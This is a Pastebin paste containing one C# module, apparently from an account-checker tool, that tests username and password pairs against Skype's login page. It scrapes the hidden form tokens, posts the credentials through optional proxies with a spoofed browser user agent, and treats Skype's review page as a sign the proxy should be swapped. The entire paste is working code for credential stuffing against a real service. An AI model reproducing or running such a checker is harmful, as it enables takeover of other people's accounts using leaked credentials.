Guest User

Untitled

a guest
Jan 13th, 2017
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.88 KB | None | 0 0
  1. class SkypeModule : Module
  2. {
  3. public string Name { get { return "Skype"; } }
  4.  
  5. public Login.Result Check(ModuleArguments args)
  6. {
  7. try
  8. {
  9. CookieContainer s0 = new CookieContainer();
  10. RequestSettings settings = new RequestSettings();
  11. settings.UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36";
  12. settings.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  13. settings.ContentType = "application/x-www-form-urlencoded";
  14. if (!string.IsNullOrEmpty(args.Proxy)) settings.Proxy = args.Proxy.ToProxy();
  15. settings.Timeout = args.Timeout;
  16. string getTokens = WebTasks.DoRequest("https://login.skype.com/login", settings, s0).Source;
  17. string pieToken = getTokens.GetBetween("<input type=\"hidden\" name=\"pie\" id=\"pie\" value=\"", "\"");
  18. string etmToken = getTokens.GetBetween("<input type=\"hidden\" name=\"etm\" id=\"etm\" value=\"", "\"");
  19. settings.PostData = string.Format("username={0}&password={1}&timezone_field=%2B01%7C00&pie={2}&etm={3}&js_time={4}", args.Username, args.Password, pieToken, etmToken, StringExtensions.GetJsTime());
  20. string result = WebTasks.DoRequest("https://login.skype.com/login", settings, s0).Source;
  21. if (result.Contains("skypetoken")) return Login.Result.Valid;
  22. else if (result.Contains("review")) return Login.Result.InvalidProxy;
  23. else return Login.Result.Invalid;
  24. }
  25. catch (Exception ex)
  26. {
  27. if (ex.Message.Contains("timed out")) return Login.Result.TimedOut;
  28. else return Login.Result.Unknown;
  29. }
  30. }
  31. }
  32. }
Add Comment
Please, Sign In to add comment